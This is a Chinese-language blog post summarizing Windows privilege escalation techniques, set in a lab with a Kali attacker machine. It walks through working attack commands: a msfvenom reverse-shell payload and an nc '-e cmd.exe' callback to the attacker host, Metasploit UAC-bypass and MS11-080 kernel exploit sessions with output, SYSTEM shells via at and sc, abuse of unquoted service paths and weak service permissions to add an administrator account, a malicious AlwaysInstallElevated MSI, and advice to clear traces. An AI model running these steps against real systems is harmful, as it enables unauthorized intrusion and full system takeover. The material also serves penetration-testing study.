35.windows提权总结
本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/
windows提权
windows下的权限:
- user
- administrator
- system
一些常用命令:
systeminfo | findstr OS #获取系统版本信息
hostname #获取主机名称
whomai /priv #显示当前用户的安全特权
quser or query user #获取在线用户
netstat -ano | findstr #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口
tasklist /svc | find "TermService" + netstat -ano #获取远程端口
windows 2003,xp
现在03的机器已经很少了,所以现在只是简单的说一些常见的思路,操作,第三方之类的除外
实验环境:
windows 2003:192.168.0.105
kali : 192.168.0.107
首先生成个木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT= -f exe -o payload.exe
如果有waf,生成的木马文件会被删除,可以使用veil生成免杀马,当然如果只是为了反弹shell,也可以上传一个nc.exe,在目标服务器上执行nc正向连接:
nc.exe -e cmd.exe 192.168.0.107
nc shell反弹成功后:
msf shell反弹成功后,查看当前权限
windows2003 可以直接 getsystem提权
提权失败,一般可能是uac的问题,尝试bypass uac
- use exploit/windows/local/ask
msf5 exploit(multi/handler) > use exploit/windows/local/ask
msf5 exploit(windows/local/ask) > show options Module options (exploit/windows/local/ask): Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE) Exploit target: Id Name
-- ----
Windows msf5 exploit(windows/local/ask) > set SESSION
SESSION =>
msf5 exploit(windows/local/ask) > set TECHNIQUE up.exe
[-] The following options failed to validate: Value 'up.exe' is not valid for option 'TECHNIQUE'.
TECHNIQUE => EXE
msf5 exploit(windows/local/ask) > set TECHNIQUE EXE
TECHNIQUE => EXE
msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ask) > set lhost 192.168.0.107
lhost => 192.168.0.107
msf5 exploit(windows/local/ask) > show options Module options (exploit/windows/local/ask): Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.107 yes The listen address (an interface may be specified)
LPORT yes The listen port Exploit target: Id Name
-- ----
Windows msf5 exploit(windows/local/ask) > sessions -i Active sessions
=============== Id Name Type Information Connection
-- ---- ---- ----------- ----------
meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107: -> 192.168.0.105: (192.168.0.105)
meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107: -> 192.168.0.105: (192.168.0.105) msf5 exploit(windows/local/ask) > exploit [*] Started reverse TCP handler on 192.168.0.107:
[+] UAC is not enabled, no prompt for the user
[*] Uploading VerOkoVbPk.exe - bytes to the filesystem...
[*] Executing Command!
或者
- use exploit/windows/local/bypassuac
- use exploit/windows/local/bypassuac_injection
使用漏洞提权
meterpreter > run post/windows/gather/enum_patches [+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10- kitrap0d if Windows 2K SP4 - Windows (x86)
[+] KB2305420 - Possibly vulnerable to MS10- schelevator if Vista, , and
[+] KB2592799 - Possibly vulnerable to MS11- afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
[+] KB2778930 - Possibly vulnerable to MS13- hwnd_broadcast, elevates from Low to Medium integrity
[+] KB2850851 - Possibly vulnerable to MS13- schlamperei if x86 Win7 SP0/SP1
[+] KB2870008 - Possibly vulnerable to MS13- track_popup_menu if x86 Windows SP0/SP1
以ms11-080为例
msf5 > use exploit/windows/local/ms11_080_afdjoinleaf
msf5 exploit(windows/local/ms11_080_afdjoinleaf) > show options Module options (exploit/windows/local/ms11_080_afdjoinleaf): Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on. Exploit target: Id Name
-- ----
Automatic msf5 exploit(windows/local/ms11_080_afdjoinleaf) > set SESSION
SESSION =>
msf5 exploit(windows/local/ms11_080_afdjoinleaf) > run [*] Started reverse TCP handler on 192.168.0.107:
[*] Running against Windows Server SP2
[*] HaliQuerySystemInformation Address: 0x80a6ba1e
[*] HalpSetSystemInformation Address: 0x80a6dc60
[*] Triggering AFDJoinLeaf pointer overwrite...
[*] Injecting the payload into SYSTEM process: winlogon.exe
[*] Sending stage ( bytes) to 192.168.0.105
[*] Restoring the original token...
[*] Meterpreter session opened (192.168.0.107: -> 192.168.0.105:) at -- :: + meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
提权成功
at命令提权
在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将Administrators 组下的用户权限提升到 SYSTEM
at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、
可以是一个二进制文件。
语法:at 时间 命令 例子:at 10:45PM calc.exe
该命令会发布一个定时任务计划,在每日的 10:45 启动 calc.exe。
我们可以通过 “/interactive”开启界面交互模式:
at :45PM /interactive calc.exe
在得到一个system的cmd之后,使用taskmgr命令调用任务管理器,此时的任务管理器是system权限,然后kill掉explore进程,
再使用任务管理器新建explore进程,将会得到一个system的桌面环境
at配合msf提权
可以采用 Regsvr32 一条命令上线
msf下配置
cmd下执行
等待上线
可是这里一般会出现问题..
然后我们也可以选择上线木马的方式来获取shell
等待上线
上线后为system
windows 7,8,12,16
SC命令提权
ps:经测试03也可以
关于sc命令:
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
创建一个名叫syscmd的新的交互式的cmd服务:
SC Create syscmd binPath= "cmd /K start" type= own type= interact
然后执行:
sc start systcmd
就得到了一个system权限的cmd环境
通过不带引号的服务路径
当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:
Windows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引号中来对它们进行转义。在上面的示例中,如果系统运行该服务,它将尝试运行以下可执行文件:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。
我们可以使用以下命令查看错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
这里我们枚举出下列路径:
C:\Program Files (x86)\Cisco\Cisco HostScan\bin\ciscod.exe
这个路径没有被双引号包裹,而且文件名中也存在空格。
现在,我们需要使用下列命令识别文件目录权限,判断是否有写入权限:
icacls C:\Program Files (x86)\Cisco
(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。
如果它给任何人提供了写入权限,这也就意味着任何用户都可以重写该文件
将我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe,成功提权后记得清理痕迹。
重启机器:
sc stop service_name
sc start service_name
假如我们的exe会弹回一个SYSTEM权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程,也可以使用自动迁移:
set AutoRunScript migrate -f
此外msf下已经集成了该模块(exploit/windows/local/trusted_service_path )
不过不太好用...
不安全的服务权限
Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
metasploit集成了漏洞利用模块exploit/windows/local/service_permissions。
1.检查易受攻击的服务.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权。
accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv "user" *
2.查看可以完全控制的服务的属性:
sc qc "Service"
3.修改服务配置执行命令。BINARY_PATH_NAME参数指向了该服务的可执行程序(PFNET)路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。
sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET
sc config PFNET binpath= "net localgroup rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET
当尝试启动服务时,它会返回一个错误。这一点我们之前已经讨论过了,在Windows系统中,当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。上面的“net user”肯定是无法和服务管理器通信的,但是不用担心,我们的命令已经以SYSTEM权限运行了,并且成功添加了一个用户。
4.提权成功后修改服务配置,清理痕迹。
任意用户以NT AUTHORITY\SYSTEM权限安装msi
AlwaysInstallElevated是一个策略设置,允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
可以通过查询以下注册表来识别此设置,当两个注册表键值查询结果均为1时,代表该策略已启用。:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:
详细利用步骤如下:
使用reg query命令查询是否存在漏洞
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果存在漏洞,上面将输出以下内容
如果系统没这个漏洞,它将输出错误
C:\Users\hp\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or value.
然后我们使用msfvenom生成msi文件,进行提权
msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi
然后使用
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi
即可
另附参考链接:
提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权
提权系列(二)----Windows Service 服务器提权之Mssql提权,GetPass提权,hash提权,LPK提权
35.windows提权总结的更多相关文章
- 「白帽黑客成长记」Windows提权基本原理(上)
我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...
- [转帖]「白帽黑客成长记」Windows提权基本原理(上)
「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...
- 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权
原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...
- 「白帽黑客成长记」Windows提权基本原理(下)
上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...
- [转帖]「白帽黑客成长记」Windows提权基本原理(下)
「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...
- Windows提权小结
摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...
- windows提权操作以及系统开机关机重启代码(用到了LookupPrivilegeValue和AdjustTokenPrivileges调整进程的Token权限)
对于UAC提权操作,一般在编译期间,如果程序有需求要提权,会在编译器里设置,vs2010比较简单,在工程属性里可以直接设置,vs2005稍微有点儿麻烦,参考这篇文章: http://www.seany ...
- Windows提权与开启远程连接
1.提权: 建立普通用户:net user 帐户 密码 /add 提权成管理员:net localgroup administrators 帐户 /add 更改用户密码:net user 帐户 密码 ...
- windows提权的几种姿势
想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输.但是你不是,对吗?你是一个勇者! ...
随机推荐
- java 遍历数组的几种方式
本文总结自: https://www.cnblogs.com/hellochennan/p/5373186.html 1. 传统方式 非常简单的for循环 int[] a = {1, 2, 3, 4} ...
- 20165101刘天野 2017-2018-2 《Java程序设计》第1周学习总结
20165101刘天野 2017-2018-2 <Java程序设计>第1周学习总结 教材学习内容总结 Java的地位 Java的特点 安装JDK Java应用程序开发步骤 反编译 安装Gi ...
- EntityFramework 学习 一 Explicit Loading with DBContext
即使延迟加载不能使用,也可以通过明确的调用来延迟加载相关实体 使用DBEntryEntity来完成 using (var context = new SchoolDBEntities()) { //D ...
- neutron qos Quality of Service
Quality of Service advanced service is designed as a service plugin. The service is decoupled from t ...
- Sobel边缘检测
Sobel算子:[-1 0 1 -2 0 2 -1 0 1] 用此算子与原图像做卷积,可以检测出垂直方向的边缘.算子作用在图像的第二列,结果是:200,200,200:作用在第三列,结果是 ...
- 分享知识-快乐自己:MyBtis内置缓存机制
在实际的项目开发中,通常对数据库的查询性能要求很高,而mybatis提供了查询缓存来缓存数据,从而达到提高查询性能的要求. mybatis的查询缓存分为一级缓存和二级缓存,一级缓存是SqlSessio ...
- 再次理解WCF以及其通信(附加一個編程小經驗)
一.概述 Windows Communication Foundation(WCF)是由微软发展的一组数据通信的应用程序开发接口,可以翻译为Windows通讯接口,它是.NET框架的一部分.由 .NE ...
- Java集合类--->入门上篇
最近我又在研究Java语言,这是第五次还是第六次学习Java的集合类,你也许会惊讶为什么这么多次?哈哈,因为之前的我没有记录下来,忘记了,当然最主要还是觉得自己毅力不够,没有坚持.那么,这次我将换一种 ...
- Mybatis_笔记_01_逆向工程
通过Mybatis逆向工程,可以从数据库中的表自动生成pojo.mapper映射文件和mapper接口 此处暂存怎么使用逆向工程,原理以后再探讨 工程结构 要修改的地方:generatorConfig ...
- BEC listen and translation exercise 41
Its advantages are that it can be used for outside activities So my recommendation I'm afraid would ...